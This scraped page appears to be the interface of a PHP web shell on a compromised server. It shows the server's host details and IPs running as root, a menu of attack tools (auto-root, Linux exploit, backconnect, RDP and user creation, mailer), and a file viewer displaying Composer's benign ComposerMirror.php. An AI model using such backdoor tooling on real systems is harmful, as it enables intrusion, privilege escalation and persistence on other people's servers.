Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthHelper.php
1.66
KB
-rw-r--r--
Bitbucket.php
8.38
KB
-rw-r--r--
ComposerMirror.php
1.75
KB
-rw-r--r--
ConfigValidator.php
5.45
KB
-rw-r--r--
ErrorHandler.php
2.24
KB
-rw-r--r--
Filesystem.php
21.29
KB
-rw-r--r--
Git.php
14.3
KB
-rw-r--r--
GitHub.php
4.52
KB
-rw-r--r--
GitLab.php
5.42
KB
-rw-r--r--
IniHelper.php
1.91
KB
-rw-r--r--
NoProxyPattern.php
4.07
KB
-rw-r--r--
Perforce.php
16.72
KB
-rw-r--r--
Platform.php
2.54
KB
-rw-r--r--
ProcessExecutor.php
5.49
KB
-rw-r--r--
RemoteFilesystem.php
41.17
KB
-rw-r--r--
Silencer.php
2.12
KB
-rw-r--r--
SpdxLicense.php
570
B
-rw-r--r--
StreamContextFactory.php
7.13
KB
-rw-r--r--
Svn.php
9.31
KB
-rw-r--r--
TlsHelper.php
6.51
KB
-rw-r--r--
Url.php
2.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ComposerMirror.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Util; /** * Composer mirror utilities * * @author Jordi Boggiano <j.boggiano@seld.be> */ class ComposerMirror { public static function processUrl($mirrorUrl, $packageName, $version, $reference, $type) { if ($reference) { $reference = preg_match('{^([a-f0-9]*|%reference%)$}', $reference) ? $reference : md5($reference); } $version = strpos($version, '/') === false ? $version : md5($version); return str_replace( array('%package%', '%version%', '%reference%', '%type%'), array($packageName, $version, $reference, $type), $mirrorUrl ); } public static function processGitUrl($mirrorUrl, $packageName, $url, $type) { if (preg_match('#^(?:(?:https?|git)://github\.com/|git@github\.com:)([^/]+)/(.+?)(?:\.git)?$#', $url, $match)) { $url = 'gh-'.$match[1].'/'.$match[2]; } elseif (preg_match('#^https://bitbucket\.org/([^/]+)/(.+?)(?:\.git)?/?$#', $url, $match)) { $url = 'bb-'.$match[1].'/'.$match[2]; } else { $url = preg_replace('{[^a-z0-9_.-]}i', '-', trim($url, '/')); } return str_replace( array('%package%', '%normalizedUrl%', '%type%'), array($packageName, $url, $type), $mirrorUrl ); } public static function processHgUrl($mirrorUrl, $packageName, $url, $type) { return self::processGitUrl($mirrorUrl, $packageName, $url, $type); } }
Close